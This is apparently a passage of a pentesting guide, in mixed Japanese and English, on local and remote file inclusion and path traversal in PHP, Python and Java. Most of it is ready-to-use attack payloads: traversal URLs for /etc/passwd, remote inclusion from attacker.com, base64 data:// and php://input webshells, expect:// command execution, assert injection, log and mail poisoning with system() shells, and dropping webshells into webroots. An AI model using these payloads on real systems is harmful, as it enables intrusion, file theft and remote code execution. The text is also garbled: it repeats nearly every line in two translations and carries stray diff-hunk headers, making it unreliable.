In PHPでは、ファイルシステムの性質上、file pathのさまざまな表現が同一とみなされることがあります。例えば:
In PHPでは、ファイルシステムの性質上、ファイルパスのさまざまな表現が同等と見なされることがあります。例えば：
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` はすべて同じpathとして扱われます。
- 最後の6文字が `passwd` の場合、末尾に `/` を付けて `passwd/` にしても対象ファイルは変わりません。
- 同様に、file pathに `.php` が付加される（例: `shellcode.php`）場合でも、末尾に `/.` を追加してもアクセスされるファイルは変わりません。
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
- 末尾の6文字が `passwd` の場合、末尾に `/` を追加して `passwd/` にしても対象ファイルは変わりません。
- 同様に、ファイルパスに `.php` が付いている場合（例：`shellcode.php`）、末尾に `/.` を追加してもアクセスされるファイルは変わりません。
以下の例は、path truncationを利用して `/etc/passwd` にアクセスする方法を示しています。これは機微な内容（ユーザーアカウント情報）を含むため一般的なターゲットです：
以下の例は、機密情報（ユーザーアカウント情報）を含む一般的なターゲットである `/etc/passwd` にアクセスするために path truncation を利用する方法を示しています：
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,11 +125,11 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
これらのシナリオでは、必要な traversals の回数は約2027 回になることがありますが、この数はサーバーの設定によって変動します。
In these scenarios, the number of traversals needed might be around 2027, but this number can vary based on the server's configuration.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) と余分なドットセグメントや文字を組み合わせることでファイルシステムを移動でき、サーバーによって付加された文字列を実質的に無視できます。
- **Determining the Required Number of Traversals**: 試行錯誤によって、ルートディレクトリに移動してから `/etc/passwd` に到達するのに必要な正確な `../` の数を見つけることができ、`.php` のような付加文字列が無効化されても目的のパス (`/etc/passwd`) は保持されるようにします。
- **Starting with a Fake Directory**: パスの先頭に存在しないディレクトリ（例: `a/`）を置くのは一般的な慣習です。この手法は予防措置として、またはサーバーのパス解析ロジックの要件を満たすために使われます。
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) と追加の dot segments や文字を組み合わせることで、ファイルシステムを移動し、サーバーによって付加された文字列を事実上無視できます。
- **Determining the Required Number of Traversals**: 試行錯誤により、root directory まで、そして `/etc/passwd` へ辿るために必要な正確な `../` シーケンスの数を見つけることができ、`.php` のような付加文字列を無効化しつつ目的のパス（`/etc/passwd`）を維持できます。
- **Starting with a Fake Directory**: パスを非存在ディレクトリ（例: `a/`）で始めるのは一般的な手法です。このテクニックは予防措置として、またはサーバーの path parsing ロジックの要件を満たすために使われます。
When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
phpではデフォルトで無効になっています。これは **`allow_url_include`** が **Off.** のためです。動作させるには **On** にする必要があり、その場合は自分のサーバーからPHPファイルをincludeしてRCEを得ることができます:
phpでは、デフォルトで無効になっています。これは **`allow_url_include`** が **Off** になっているためです。動作させるには **On** にする必要があり、その場合、サーバー上の PHP ファイルを include して RCE を得ることができます:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
もし何らかの理由で **`allow_url_include`** が **On** になっているが、PHP が外部ウェブページへのアクセスを **filtering** している場合、[according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/)、たとえば data protocol with base64 を使って b64 PHP コードをデコードし、RCE を取得できます：
もし何らかの理由で **`allow_url_include`** が **On** になっているが、PHP が外部ウェブページへのアクセスを **filtering** している場合、[この投稿](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) によれば、例えば base64 を使った data プロトコルで b64 PHP コードをデコードして RCE を得ることができます:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> 前のコードでは、最後の `+.txt` は攻撃者が `.txt` で終わる文字列を必要としたため追加されました。文字列はそれで終わり、b64 decode の後、その部分は単なるジャンクを返し、実際の PHP コードが含まれて（したがって実行され）ます。
> 前のコードでは、末尾の `+.txt` は attacker が `.txt` で終わる文字列を必要としていたため追加されました。したがって文字列はそれで終わり、b64 デコード後その部分はただのゴミを返し、本当の PHP コードがインクルードされ（したがって実行され）ます。
別の例 **`php://` プロトコルを使用しない** は次のようになります:
別の例 **not using the `php://` protocol** は次の通りです:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python のルート要素
次のような python コードでは:
Pythonでは、次のようなコードの場合:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
ユーザーが **絶対パス** を **`file_name`** に渡した場合、**以前のパスは単に削除されます**:
ユーザーが **absolute path** を **`file_name`** に渡した場合、**以前のパスは単に削除されます**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
これは[the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)による意図した挙動です:
これは [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) による意図された動作です:
> コンポーネントが絶対パスである場合、以前のすべてのコンポーネントは破棄され、結合は絶対パスのコンポーネントから続行されます。
> コンポーネントが絶対パスである場合、以前のすべてのコンポーネントは破棄され、結合は絶対パスのコンポーネントから継続されます。
## Java ディレクトリ一覧
JavaでPath Traversalがあり、ファイルの代わりに**ディレクトリを要求した場合**、**ディレクトリの一覧が返される**ようです。他の言語では（私の知る限り）これは起きないでしょう。
JavaでPath Traversalがあり、ファイルの代わりに**ディレクトリを要求すると**、**ディレクトリの一覧が返される**ようです。他の言語では発生しないようです（私の知る限り）。
## トップ25のパラメータ
以下はlocal file inclusion (LFI) 脆弱性の影響を受ける可能性のあるトップ25のパラメータの一覧です（出典: [link](https://twitter.com/trbughunters/status/1279768631845494787)）:
local file inclusion (LFI) 脆弱性の影響を受ける可能性があるトップ25のパラメータのリストは以下の通りです（出典: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,38 +211,38 @@ JavaでPath Traversalがあり、ファイルの代わりに**ディレクトリ
?mod={payload}
?conf={payload}
```
## LFI / RFI using PHP wrappers & protocols
## LFI / RFI — PHP ラッパーとプロトコルの利用
### php://filter
PHP filters は、データが読み込まれる前や書き込まれる前に、データに対して基本的な **変更操作** を行うことを可能にします。フィルタは5つのカテゴリに分かれます:
PHP filters は、データが読み込まれたり書き込まれたりする前に、基本的な **データに対する変更操作** を行うことを可能にします。フィルターは5つのカテゴリに分類されます:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: データからタグを削除します（"<" と ">" の間のすべての文字）
- `string.strip_tags`: データからタグを除去します（"<" と ">" の間のすべて）
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : 別のエンコーディングに変換します(`convert.iconv.<input_enc>.<output_enc>`)。サポートされている**全てのエンコーディングの一覧**を取得するにはコンソールで次を実行してください: `iconv -l`
- `convert.iconv.*` : 別のエンコーディングに変換します（`convert.iconv.<input_enc>.<output_enc>`）。サポートされている**すべてのエンコーディングの一覧**を得るにはコンソールで次を実行します: `iconv -l`
> [!WARNING]
> `convert.iconv.*` の変換フィルタを悪用すると **任意のテキストを生成できる** ため、任意のテキストを書き込んだり include のような関数に任意テキストを処理させるのに役立ちます。詳細は [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md) を参照してください。
> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: コンテンツを圧縮します（大量の情報を exfiltrate する際に便利）
- `zlib.inflate`: データを展開します
- `zlib.deflate`: コンテンツを圧縮します（大量の情報を exfiltrating する場合に有用）
- `zlib.inflate`: データを解凍します
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : 非推奨
- `mdecrypt.*` : 非推奨
- Other Filters
- phpで `var_dump(stream_get_filters());` を実行すると、いくつかの**予期しないフィルタ**が見つかります:
- PHP で `var_dump(stream_get_filters());` を実行すると、いくつかの**予期しないフィルター**が見つかります:
- `consumed`
- `dechunk`: HTTP の chunked エンコーディングを元に戻します
- `dechunk`: HTTP chunked encoding を解除します
- `convert.*`
```php
# String Filters
@ -271,38 +271,38 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
```
> [!WARNING]
> 部分 "php://filter" は大文字小文字を区別しません
> 「php://filter」部分は大文字小文字を区別しません
### php filters を oracle として任意のファイルを読むために使う方法
### 任意のファイルを読み取るために php filters を oracle として使用する
[**この投稿**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) では、サーバーから出力が返されない状況でもローカルファイルを読む手法が提案されています。この手法は **boolean exfiltration of the file (char by char) using php filters** を oracle として利用することに基づいています。これは php filters を使ってテキストを十分に大きくし、php に例外を投げさせることができるためです。
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) では、サーバーから出力が返されない状態でローカルファイルを読み取る手法が提案されています。この手法は **boolean exfiltration of the file (char by char) using php filters** を oracle として用いることに基づいています。これは、php filters を使ってテキストを十分に大きくし、php に例外を発生させることができるためです。
オリジナルの投稿には手法の詳細な説明がありますが、ここでは簡単な要約を示します:
元の記事には手法の詳細な説明がありますが、ここでは簡単に要約します:
- コーデック **`UCS-4LE`** を使ってテキストの先頭文字を先頭に残し、文字列のサイズを指数的に増やす。
- これにより、先頭文字が正しく推測されたときに php が **エラー** を引き起こすほど巨大なテキストを生成できる。
- **dechunk** フィルタは **最初の文字が16進数でない場合にすべてを削除する** ので、最初の文字が hex かどうかを判別できる。
- これと前述の手法（および推測した文字に応じた他のフィルタ）を組み合わせることで、十分な変換を行って最初の文字が16進数でなくなるタイミングを見て、先頭の文字を当てることができる。もし16進数であれば dechunk は削除せず、初期の爆発（initial bomb）がphpエラーを発生させるためである。
- コーデック **convert.iconv.UNICODE.CP930** は各文字を次の文字に変換する（このコーデック適用後: a -> b）。これにより、例えば先頭文字が `a` かどうかを判別できる。なぜならこのコーデックを6回適用すると a->b->c->d->e->f->g となり、その文字はもはや16進数文字ではなくなるため dechunk が削除せず、initial bomb と掛け合わせて php エラーが発生するからである。
- rot13 のような他の変換を最初に使うことで、n, o, p, q, r のような別の文字を leak することが可能（他の codecs を使って別の文字を hex 範囲に移動させることもできる）。
- 最初の文字が数字の場合は base64 エンコードして、その数字を leak するために最初の2文字を取得する必要がある。
- 最後の問題は、**how to leak more than the initial letter** を考えることである。order memory filters（例: **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**）を使うと文字の順序を変更でき、テキストの他の文字を先頭位置に持ってくることが可能になる。
- さらにデータを取得できるようにするためのアイデアは、まず **convert.iconv.UTF16.UTF16** で先頭に2バイトのジャンクデータを生成し、**UCS-4LE** を適用して次の2バイトと **pivot** させ、そして d**elete the data until the junk data**（これにより元のテキストの最初の2バイトが削除される）を行う、というものです。これを目的のビットが leak されるまで繰り返す。
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
- これにより、先頭文字が正しく推測された場合に php が **error** を引き起こすほど巨大なテキストが生成される。
- フィルタ **dechunk** は **先頭文字が16進数でない場合、すべてを削除する** ため、先頭文字が16進数かどうかを判定できる。
- これと前述の手法（および推測した文字に応じた他のフィルタ）を組み合わせることで、十分な変換を行ったときに先頭文字が16進数でなくなるタイミングを見て、テキストの先頭の文字を推測できる。もし16進数であれば dechunk は削除せず、初期のボムにより php がエラーになるからである。
- The codec **convert.iconv.UNICODE.CP930** transforms every letter in the following one (so after this codec: a -> b). This allow us to discovered if the first letter is an `a` for example because if we apply 6 of this codec a->b->c->d->e->f->g the letter isn't anymore a hexadecimal character, therefore dechunk doesn't deleted it and the php error is triggered because it multiplies with the initial bomb.
- 先頭で **rot13** のような他の変換を使うことで、n, o, p, q, r のような他の文字を leak することが可能（また他の codecs を使って別の文字を16進数の範囲へ移動させることもできる）。
- 先頭文字が数字の場合は base64 エンコードして、数字を leak するために最初の2文字を leak する必要がある。
- 最後の問題は **最初の文字以上をどのように leak するか** である。**convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** のような順序を入れ替えるフィルタを使うことで、文字の順序を変更してテキストの別の文字を先頭に持ってくることが可能となる。
- さらにデータを取得するためのアイデアは、先頭に **2バイトのゴミデータを生成する**（**convert.iconv.UTF16.UTF16** を使用）、次に **UCS-4LE** を適用してそれを次の2バイトと pivot させ、ゴミデータに達するまでデータを削除する（これにより初期テキストの最初の2バイトが削除される）。これを必要なビットを leak するまで繰り返す。
投稿ではこの処理を自動化するツールも leaked されています: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
投稿ではこの処理を自動化するツールも公開されています: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
この wrapper により、プロセスが開いている file descriptors にアクセスできます。開かれているファイルの内容を exfiltrate するのに潜在的に有用です:
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
また、**php://stdin, php://stdout and php://stderr** を使って、それぞれ **file descriptors 0, 1 and 2** にアクセスできます（攻撃でどう役立つかは不明です）
また、**php://stdin, php://stdout and php://stderr** を使用して、それぞれ **file descriptors 0, 1 and 2** にアクセスできます（攻撃でどのように役立つかは不明です）
### zip:// and rar://
PHPShell を含む Zip または Rar ファイルをアップロードしてアクセスできます。\
PHPShell を含む Zip または Rar ファイルをアップロードしてアクセスします.\
rar protocol を悪用できるようにするには、**明示的に有効化する必要があります**。
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
このプロトコルは php の設定 **`allow_url_open`** および **`allow_url_include`** によって制限されることに注意してください。
Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`**
### expect://
Expect を有効にする必要があります。次のようにコードを実行できます:
Expect を有効にする必要があります。次のようにしてコードを実行できます:
```
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```
### input://
POSTパラメータにペイロードを指定してください:
POSTパラメータにpayloadを指定してください:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
`.phar` ファイルは、Webアプリケーションがファイル読み込みに `include` のような関数を利用している場合に、PHPコードを実行するために利用できます。以下のPHPコードスニペットは `.phar` ファイルの作成を示します:
`.phar` ファイルは、Webアプリケーションがファイル読み込みに `include` のような関数を使用している場合に、PHPコードを実行するために利用できます。以下のPHPコードスニペットは `.phar` ファイルの作成方法を示しています：
```php
<?php
$phar = new Phar('test.phar');
@ -358,11 +358,11 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
実行すると `test.phar` というファイルが作成され、Local File Inclusion (LFI) の脆弱性を悪用するために利用される可能性があります。
実行すると `test.phar` という名前のファイルが作成され、これを利用して Local File Inclusion (LFI) の脆弱性を悪用できる可能性があります。
LFIが `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, または `filesize()` のような関数を通じて内部のPHPコードを実行せずにファイルの読み取りのみを行う場合、deserialization vulnerability の悪用を試みることができます。この脆弱性は `phar` プロトコルを用いたファイル読み取りに関連しています。
LFI が PHP コードを実行せずにファイルを読み取るだけの場合（`file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, `filesize()` などを通じて）、`phar` プロトコルを使用したファイル読み取りに関連するデシリアライズ脆弱性を悪用できる可能性があります。
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
`.phar` ファイルの文脈でデシリアライズ脆弱性を悪用する方法の詳細は、以下のドキュメントを参照してください:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -373,36 +373,36 @@ phar-deserialization.md
### CVE-2024-2961
PHPのphp filtersをサポートする**any arbitrary file read from PHP that supports php filters**を悪用してRCEを得ることが可能でした。The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
非常に短い要約: PHPヒープの**3 byte overflow**が悪用され、特定サイズのフリーチャンクのチェーンを**alter the chain of free chunks**することで任意のアドレスに**write anything in any address**できるようにし、**`system`** を呼ぶフックが追加されました。\
さらに、より多くの php filters を悪用して特定サイズのチャンクを alloc することが可能でした。
PHP がサポートする php filters を利用できる任意のファイル読み取りを悪用して RCE を得ることが可能でした。詳細な説明は [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
ごく簡単な要約：PHP ヒープの **3 byte overflow** を悪用して特定サイズの free chunks のチェーンを **alter** し、任意のアドレスに **write anything** できるようにしたため、`system` を呼ぶフックが追加されました。\
さらに多くの php filters を悪用して特定サイズのチャンクを alloc することが可能でした。
### More protocols
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込みます（file inclusion attack でどのように有用かは不明）
- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムにアクセス
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL にアクセス
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL にアクセス
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む（file inclusion attack においてこれがどのように有用になるかは不明）
- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへアクセス
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL へアクセス
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL へアクセス
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を検索します（printable な出力を返さないため、ここではあまり役に立ちません）
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を見つける（出力可能な内容を返さないため、ここではあまり有用ではない）
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム（任意のファイルを読むには役に立ちません）
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム（任意ファイル読み取りには役に立たない）
## LFI via PHP's 'assert'
Local File Inclusion (LFI) は、文字列内のコードを実行できる 'assert' 関数を扱う場合に特にリスクが高くなります。特に、".. " のようなディレクトリトラバーサル文字を含む入力がチェックされていても適切にサニタイズされていない場合に問題になります。
Local File Inclusion (LFI) のリスクは、文字列内のコードを実行できる 'assert' 関数を扱う場合に特に高くなります。これは、".." のような directory traversal 文字を含む入力をチェックしているが適切にサニタイズしていない場合に特に問題になります。
For example, PHP code might be designed to prevent directory traversal like so:
```bash
assert("strpos('$file', '..') === false") or die("");
```
これはtraversalを防ぐことを目的としていますが、意図せずcode injectionの攻撃ベクターを作成します。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のように使用できます:
これはtraversalを阻止することを目的としていますが、意図せずcode injectionのベクターを作り出してしまいます。reading file contentsを行うためにこれを悪用するには、an attackerは次のように使用できます:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
同様に、任意のシステムコマンドを実行するには、次のようにすることがあります:
同様に、任意のシステムコマンドを実行するには、次のようなものを使うことが考えられます:
```plaintext
' and die(system("id")) or '
```
@ -411,36 +411,36 @@ It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> この手法は、対象の**PHP関数**が**ファイルにアクセス**する（例: 単純な呼び出し **`file()`** のように）場合で、あなたがその**ファイルパス**を**制御**しているがファイルの内容は表示されないケースに関連します。
> この手法は、**file path** を **control** できる **PHP function** がファイルへアクセスするが（例: 単純な **`file()`** の呼び出しのように）ファイルの内容が表示されないケースに関連します。
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
In [**この素晴らしい投稿**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
要約すると、この手法は **"UCS-4LE" encoding** を使ってファイルの内容を非常に**大きく**し、ファイルを開く**PHP関数**が**エラー**を引き起こすようにします。
要約すると、この手法では **"UCS-4LE" encoding** を使い、ファイルの内容を非常に**大きく**して、当該ファイルを開く **PHP function** が **error** を起こすようにします。
その後、先頭文字を leak するためにフィルタ **`dechunk`** が **base64** や **rot13** のような他のフィルタと一緒に使われ、最終的にフィルタ **convert.iconv.UCS-4.UCS-4LE** と **convert.iconv.UTF16.UTF-16BE** を使って先頭に別の文字を配置し、それらを leak します。
その後、最初の文字を leak するためにフィルタ **`dechunk`** を **base64** や **rot13** と組み合わせて使用し、最終的にフィルタ **convert.iconv.UCS-4.UCS-4LE** と **convert.iconv.UTF16.UTF-16BE** を使って先頭に他の文字を配置し、それらを leak します。
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
For the technical details check the mentioned post!
技術的な詳細は前述の投稿を参照してください！
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
サーバー側のファイル受け取り／アップロード処理が、ユーザー制御のデータ（例: filename や URL）を使って宛先パスを構築し、正規化や検証を行わない場合、`..` セグメントや絶対パスによって意図したディレクトリを脱出し任意のファイルを書き込める可能性があります。ペイロードを web-exposed なディレクトリに配置できれば、通常は webshell を配置して認証不要の RCE を取得できます。
サーバー側のコードがアップロード/取り込みファイルの宛先パスをユーザ制御のデータ（例: filename や URL）で組み立て、正規化や検証を行わない場合、`..` セグメントや絶対パスによって意図したディレクトリを抜け出し、任意のファイル書き込みを引き起こす可能性があります。payload を web-exposed なディレクトリに置ければ、通常は webshell を置くことで認証不要の RCE を得られます。
Typical exploitation workflow:
- パス/ファイル名を受け取りディスクにコンテンツを書き込むエンドポイントやバックグラウンドワーカーの write primitive を特定する（例: message-driven ingestion、XML/JSON コマンドハンドラ、ZIP extractor など）。
典型的な exploitation ワークフロー:
- パス/ファイル名を受け取り、ディスクにコンテンツを書き込むエンドポイントやバックグラウンドワーカー（例: メッセージ駆動の取り込み、XML/JSON コマンドハンドラ、ZIP 展開処理など）で書き込みプリミティブを特定する。
- web-exposed なディレクトリを特定する。一般的な例:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- 意図したストレージディレクトリから webroot に抜ける traversal パスを作成し、webshell の内容を含める。
- 配置したペイロードにブラウザでアクセスし、コマンドを実行する。
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- 意図したストレージディレクトリを抜けて webroot に到達する traversal パスを作成し、webshell のコンテンツを含める。
- ドロップした payload にブラウザでアクセスしてコマンドを実行する。
Notes:
- 書き込みを行う脆弱なサービスは非HTTPポートで待ち受けている場合がある（例: TCP 4004 上の JMF XML listener）。メインの web ポータル（別ポート）が後であなたのペイロードを配信することがあります。
- Java スタックでは、これらのファイル書き込みは単純な `File`/`Paths` の連結で実装されることが多いです。正規化や allow-listing の欠如が根本的な欠陥です。
- 書き込みを行う脆弱なサービスは非 HTTP ポートで待ち受けている場合があります（例: TCP 4004 の JMF XML リスナー）。メインの web ポータル（別ポート）が後であなたの payload を配信します。
- Java スタックでは、これらのファイル書き込みは単純な `File`/`Paths` の連結で実装されていることが多く、正規化や allow-listing の欠如が根本的な脆弱性です。
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -466,26 +466,26 @@ in.transferTo(out);
</Command>
</JMF>
```
Hardening that defeats this class of bugs:
- 正規化されたパスに解決し、それが allow-listed ベースディレクトリの子孫であることを強制する。
- `..`、絶対ルート、ドライブ文字を含むパスは拒否する；生成されたファイル名を優先する。
- writer を低権限アカウントで実行し、書き込みディレクトリを配信ルートから分離する。
このクラスのバグを防ぐハードニング:
- パスを正規化し、許可リストに登録されたベースディレクトリの配下であることを確認する。
- `..`、絶対ルート、またはドライブレターを含むパスは拒否し、生成されたファイル名を優先する。
- 書き込み処理を低権限アカウントで実行し、書き込み用ディレクトリを公開ルートから分離する。
## Remote File Inclusion
前述の通り、[**follow this link**](#remote-file-inclusion)。
### Apache/Nginx のログファイル経由
### Via Apache/Nginx log file
Apache または Nginx サーバが **vulnerable to LFI** の場合、include 関数内から **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** にアクセスを試み、**user agent** または **GET parameter** に PHP シェル（例 **`<?php system($_GET['c']); ?>`**）を設定してそのファイルを include できます。
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
> [!WARNING]
> 注意：シェルで **ダブルクォートを使用した場合**、ダブルクォートは文字列 "_**quote;**_" に変更され、**PHP はエラーを発生させます** そこで **何も実行されません**。
> 注意: シェルに **double quotes** を使うと **simple quotes** の代わりに、ダブルクオートが文字列 "_**quote;**_" に置き換えられ、**PHP はエラーを投げ**て **それ以外は何も実行されません**。
>
> また、**write correctly the payload** を必ず行ってください。さもなければ、ログファイルを読み込むたびに PHP がエラーになり、再挑戦の機会はありません。
> また、ペイロードを**正しく書き込む**ようにしてください。でないとログファイルを読み込むたびに PHP がエラーになり、二度目のチャンスはありません。
他のログでも同様の手法が可能ですが、**be careful,** ログ内のコードが URL encoded されているとシェルが壊れる可能性があります。ヘッダ **authorisation "basic"** は Base64 で "user:password" を含み、ログ内でデコードされます。PHPShell はこのヘッダ内に挿入できる可能性があります。\
その他の可能なログパス:
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\
Other possible log paths:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -501,31 +501,31 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
### メール経由
**メールを送信する** 内部アカウント (user@localhost) 宛てに、`<?php echo system($_REQUEST["cmd"]); ?>` のような PHP payload を含め、そのユーザーのメールを **`/var/mail/<USERNAME>`** や **`/var/spool/mail/<USERNAME>`** のようなパスで include してみる
**Send a mail** を内部アカウント (user@localhost) に送り、`<?php echo system($_REQUEST["cmd"]); ?>` のような PHP ペイロードを含め、ユーザーのメールを **`/var/mail/<USERNAME>`** または **`/var/spool/mail/<USERNAME>`** のようなパスで include してみる。
### /proc/*/fd/* 経由
1. 多数の shells をアップロードする（例: 100）
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), ここで $PID はプロセスの PID（brute forced 可能）、$FD はファイルディスクリプタ（これも brute forced 可能）です
1. 多数のシェルをアップロードする（例：100）
2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を include する。$PID = プロセスの PID（ブルートフォース可能）、$FD はファイルディスクリプタ（これもブルートフォース可能）
### /proc/self/environ 経由
ログファイルと同様に、User-Agent にペイロードを入れて送信すると /proc/self/environ に反映されます
ログファイルと同様に、ペイロードを User-Agent に入れて送信すると /proc/self/environ ファイル内に反映される。
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
### アップロード経由
もしファイルをアップロードできるなら、そこに shell payload を注入するだけです（例: `<?php system($_GET['c']); ?>`）。
